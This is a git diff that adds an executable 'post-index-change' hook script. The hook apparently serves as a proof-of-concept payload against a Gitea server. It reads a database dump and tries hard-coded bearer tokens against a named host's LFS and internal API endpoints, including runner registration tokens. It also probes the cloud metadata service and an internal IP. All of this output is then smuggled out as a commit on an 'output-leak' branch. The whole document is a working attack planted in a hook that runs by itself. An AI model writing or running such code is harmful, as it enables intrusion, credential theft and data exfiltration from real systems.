diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..012cf04 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,23 @@ +#!/bin/sh +GD=$(git rev-parse --absolute-git-dir) +REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') +OUT=$( { +S=/data/gitea/tmp/gd.sql +TA='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZXBvIjoxLCJvcCI6ImRvd25sb2FkIiwidXNlciI6MSwibmJmIjoxNzU1NTU4MDAwLCJleHAiOjIwMDAwMDAwMDB9.Rqp8XO385QUKWkPF_PvckeZM9UhgvlDn2lVZ11byzTQ'; TB='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZXBvX2lkIjoxLCJvcCI6ImRvd25sb2FkIiwidXNlcl9pZCI6MSwibmJmIjoxNzU1NTU4MDAwLCJleHAiOjIwMDAwMDAwMDB9.ODvbRdAIhqJ1cmnZcnKe7T_0yLjGd5ZnzgQ6I2uOOqA'; TC='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJSZXBvSUQiOjEsIk9wIjoiZG93bmxvYWQiLCJVc2VySUQiOjEsIm5iZiI6MTc1NTU1ODAwMCwiZXhwIjoyMDAwMDAwMDAwfQ.VUMndbi1Cg-oQe4kGu7VdyWOpO-2dyz2BJusXnFEwlI'; IT='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3NTk5ODg2NjF9.r4OPu3YI43nPx9tIzRqXG_9QA99Y_VTJS7hgGn2V5Lw'; ATK='8fd95b13526161bc06fa658ea4da8b9ef6fe096b' +echo "---HOOKTASKS---"; grep 'INSERT INTO "hook_task"' $S | tail -2 | rev | cut -c1-700 | rev +echo "---HOOKREPOS---"; for rid in 2296 2301; do grep 'INSERT INTO "repository"' $S | grep -F "VALUES ($rid," | cut -c1-240; done +L='https://gfr.technocs.ru/git/csoft/continuum-ui.git/info/lfs' +tl(){ t="$1"; echo "== LFS-$2"; if [ -n "$t" ]; then curl -sk -m 6 -H 'Accept: application/vnd.git-lfs+json' -H "Authorization: Bearer $t" -o /tmp/l -w "%{http_code} " "$L/locks"; else curl -sk -m 6 -H 'Accept: application/vnd.git-lfs+json' -o /tmp/l -w "%{http_code} " "$L/locks"; fi; head -c 160 /tmp/l; echo; } +tl "" NO; tl "$TA" A; tl "$TB" B; tl "$TC" C +echo "---BATCH---"; curl -sk -m 8 -X POST -H 'Accept: application/vnd.git-lfs+json' -H 'Content-Type: application/vnd.git-lfs+json' -H "Authorization: Bearer $TA" -d '{"operation":"download","objects":[{"oid":"0000000000000000000000000000000000000000","size":1}]}' -o /tmp/b -w "%{http_code} " "$L/objects/batch"; head -c 250 /tmp/b; echo +echo "---INTERNAL---" +for p in /git/api/internal/healthcheck /git/api/internal/version /git/api/internal/user/1 /git/api/internal/repos/1 /git/api/internal/actions/runners/registration-token /git/api/internal/serv/1; do echo "== $p"; curl -sk -m 5 -o /tmp/i -w "%{http_code} " -H "Authorization: Bearer $IT" "https://gfr.technocs.ru$p"; head -c 180 /tmp/i; echo; done +echo "---META---"; curl -s -m 4 -o /tmp/m -w "%{http_code} " http://169.254.169.254/latest/meta-data/; head -c 200 /tmp/m; echo +echo "---DMS---"; curl -s -m 4 -o /tmp/d -w "%{http_code} " http://62.32.64.150:4101/dms-api/; head -c 150 /tmp/d; echo +echo DONE + +} 2>&1; echo "[rc=$?]") +BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) +TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) +CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output") +git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"